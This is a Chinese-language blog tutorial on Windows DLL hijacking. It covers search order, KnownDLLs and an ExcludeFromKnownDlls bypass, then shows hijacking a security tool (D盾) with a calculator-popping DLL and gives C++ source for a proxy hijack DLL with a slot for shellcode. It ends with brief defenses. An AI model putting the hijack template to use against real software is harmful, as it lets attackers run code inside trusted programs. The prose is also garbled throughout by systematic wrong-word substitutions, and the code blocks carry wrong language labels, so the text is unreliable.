关于dll:日子越来越有判头了用DLL劫持搞点事情

5次阅读

共计 5630 个字符,预计需要花费 15 分钟才能阅读完成。

0x01 dll 简介

在 Windows 零碎中,为了节俭内存和实现代码重用,微软在 Windows 操作系统中实现了一种共享函数库的形式。这就是 DLL(Dynamic Link Library),即动态链接库,这种库蕴含了可由多个程序同时应用的代码和数据。

每个 DLL 都有一个入口函数(DLLMain),零碎在特定环境下会调用 DLLMain。在上面的事件产生时就会调用 dll 的入口函数:

  • 1. 过程装载 DLL。
  • 2. 过程卸载 DLL。
  • 3.DLL 在被装载之后创立了新线程。
  • 4.DLL 在被装载之后一个线程被终止了。另外,每个 DLL 文件中都蕴含有一个导出函数表也叫输出表(存在于 PE 的.edata 节中)。应用一些 PE 文件查看工具如 LoadPE,就能够查看导出函数的符号名即函数名称和函数在导出函数表中的标识号。
    应用程序导入函数与 DLL 文件中的导出函数进行链接有两种形式:隐式链接(load-time dynamiclinking)也叫动态调用和显式链接(run-time dynamiclinking)也叫动静调用。隐式链接形式个别用于开发和调试,而显式链接形式就是咱们常见的应用 LoadLibary 或者 LoadLibraryEx 函数(注:波及到模块加载的函数有很多)来加载 DLL 去调用相应的导出函数。调用 LoadLibrary 或者 LoadLibraryEx 函数时能够应用 DLL 的相对路径也能够应用绝对路径,

dll 门路搜寻规定

然而很多状况下,开发人员都是应用了相对路径来进行 DLL 的加载。那么,在这种状况下,Windows 零碎会依照特定的程序去搜寻一些目录,来确定 DLL 的残缺门路。对于动态链接库的搜寻程序的更多详细资料请参阅 MSDN。依据 MSDN 文档的约定,在应用了 DLL 的相对路径调用 LoadLibrary 函数时,零碎会顺次从上面几个地位去查找所须要调用的 DLL 文件。

  • 1. 程序所在目录。
  • 2. 加载 DLL 时所在的当前目录。
  • 3. 系统目录即 SYSTEM32 目录。
  • 4.16 位系统目录即 SYSTEM 目录。
  • 5.Windows 目录。
  • 6.PATH 环境变量中列出的目录微软为了避免 DLL 劫持破绽的产生,在 XP SP2 之后,增加了一个 SafeDllSearchMode 的注册表属性。注册表门路如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

当 SafeDllSearchMode 的值设置为 1,即平安 DLL 搜寻模式开启时,查找 DLL 的目录程序如下:

  • 1. 程序所在目录
  • 2. 系统目录即 SYSTEM32 目录。
  • 3.16 位系统目录即 SYSTEM 目录。
  • 4.Windows 目录。
  • 5. 加载 DLL 时所在的当前目录。
  • 6.PATH 环境变量中列出的目录。

在 win7 以上版本

微软为了更进一步的进攻零碎的 DLL 被劫持,将一些容易被劫持的零碎 DLL 写进了一个注册表项中,那么但凡此项下的 DLL 文件就会被禁止从 EXE 本身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。注册表门路如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

以前常常应用的一些劫持 DLL 曾经被退出了 KnownDLLs 注册表项,这就意味着应用诸如 usp10.dll,lpk.dll,ws2_32.dll 去进行 DLL 劫持曾经生效了。

所以在 win7 及以上当启用了 SafeDllSearchMode 搜寻程序如下

  • 1. 应用程序所在目录。
  • 2. 系统目录 SYSTEM32 目录。
  • 3.16 位系统目录。没有获取该目录门路的函数,但会对其进行搜寻。
  • 4.Windows 目录。应用 GetWindowsDirectory 函数获取此目录的门路。
  • 5. 当前目录
  • 6. 环境变量 PATH 中所有目录。须要留神的是,这里不包含 App Paths 注册表项指定的应用程序门路。

Windows 操作系统通过“DLL 门路搜寻目录程序”和“KnownDLLs 注册表项 ”的机制来确定应用程序所要调用的 DLL 的门路,之后,应用程序就将 DLL 载入了本人的内存空间,执行相应的函数性能。
不过,微软又莫名其妙的容许用户在上述注册表门路中增加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs 注册表项”机制爱护的 DLL。也就是说,只有在“ExcludeFromKnownDlls”注册表项中增加你想劫持的 DLL 名称就能够对该 DLL 进行劫持,不过批改之后须要重新启动电脑能力失效。

在上述形容加载 DLL 的整个过程中,DLL 劫持破绽就是在零碎进行装置“DLL 门路搜寻目录程序”搜寻 DLL 的时候产生的。

无论平安 DLL 搜寻模式是否开启,零碎总是首先会从应用程序 (程序安装目录) 所在目录加载 DLL,如果没有找到就依照下面的程序顺次进行搜寻。那么,利用这个个性,攻击者就能够伪造一个雷同名称的 dll, 只有这个 dll 不在 KnownDLLs 注册表项中, 咱们就能够对该 dll 进行劫持测试。

键值

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

win10 的如下

0x02 寻找可劫持 dll

有很多软件能够查看 exe 加载的 dll

process-explorer

https://docs.microsoft.com/zh…

火绒剑

Process Monitor

https://docs.microsoft.com/zh…

应用的时候能够设置 Filter, 填入过滤条件, 能够帮忙排除很多无用的信息

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

相似下图这种就是该 dll 在 KnownDLLs 注册表项里

0x03 劫持测试

这里用 D 盾进行劫持试验

还是先应用 Process Explorer

能够将这些 dll 文件与 KnownDLLs 注册表项里的 dll 进行比拟, 找出不在范畴内的 dll 进行劫持测试

当然这里也有偷懒的办法, 批量自动化测试

这里 ctrl+ s 能够间接保留获取的信息文本,而后再通过正则来提取门路信息,再放到批量验证工具里

存在的话就会间接输入后果

不存在就会显示 no

下面显示存在两个 dll 可能能够劫持
这里间接放一个弹计算器的 dll 改成 WINSTA.dll 放到 D 盾目录下, 再运行 D 盾, 胜利弹出。

0x04 进阶测试

然而这种办法只劫持了加载计算机的函数, 原来 dll 还有很多其余的导出函数, 这样间接劫持可能会导致程序无奈失常启动。

所以个别会制作一个雷同名称,雷同导出函数表的一个“假”DLL,并将每个导出函数转向到“真”DLL。将这个“假”DLL 放到程序的目录下,当程序调用 DLL 中的函数时就会首先加载“假”DLL,在“假”DLL 中攻击者曾经退出了恶意代码,这时这些恶意代码就会被执行,之后,“假”DLL 再将 DLL 调用流程转向“真”DLL,免得影响程序的失常执行。

这里咱们制作一个弹窗的 dll 来进行测试,

1. 首先应用 VS2019 新建一个 DLL 我的项目

2. 在生成的 dllmain.cpp 下增加

Bash

void msg() {MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);
}

3. 而后再在头文件下的 framework.h 文件内增加上面代码来编译导出 dll 文件

Bash

#pragma once
#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少应用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

而后编译生成 Dll1.dll

再新建一个 C ++ 我的项目, 填入如下代码

Go

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定义一个函数类 DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定动静加载 dll 库
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");// 要加载的 DLL
    if (hinst != NULL) {
        // 获取函数地位
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");// 函数名
    }
    if (GetDllfunc != NULL) {
        // 运行 msg 函数
        (*GetDllfunc)();}
}

想理解 dll 编写细节的能够看这里
再次生成解决方案, 而后将之前生成的 Dll1.dll 放到生成的 Meg.exe 同目录下, 运行 Meg.exe

胜利弹窗
这里咱们用之前转发劫持 dll 的思路, 来试验一下
这里我用脚本一键生成用来劫持的 dll

这是默认生成的

Bash

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{FARPROC Hijack_msg;}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
    {TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {if (HIWORD(pszProcName) == 0)
            {wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.// 增加本人的代码
{ }
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {DisableThreadLibraryCalls(hModule);
        if(Load())
        {Hijack_msg = GetAddress("msg");
                     
            Hijack();}
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在编译生成新的 dll 前要留神在代码这一行, 将 Dll1 改为 Dll2.dll

Bash

lstrcpy(tzPath, TEXT("Dll2.dll"));

而后在代码这一行增加弹窗或者执行 shellcode

Go

VOID Hijack()   //default open a calc.
{MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
       
}

而后编译生成
再将咱们之前生成的 Dll1.dll 改为 Dll2.dll, 将两个 Dll 和 Meg.exe 放在同一个目录下

运行 Meg.exe 这时候应该会有两个弹窗

能够看到是先劫持 DLL 增加的弹窗, 再弹出 DLL 本来的弹窗

0x05 进攻

通用免疫计划:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs]在此注册表项下定义一个“已知 DLL 名称”,那么但凡此项下的 DLL 文件就会被禁止从 EXE 本身目录下调用,而只能从系统目录,也就是 system32 目录下调用。据此能够写一个简略的 DLL 劫持免疫器
或者能够在加载 dll 是检测 MD5 和大小, 来进攻.

正文完
 0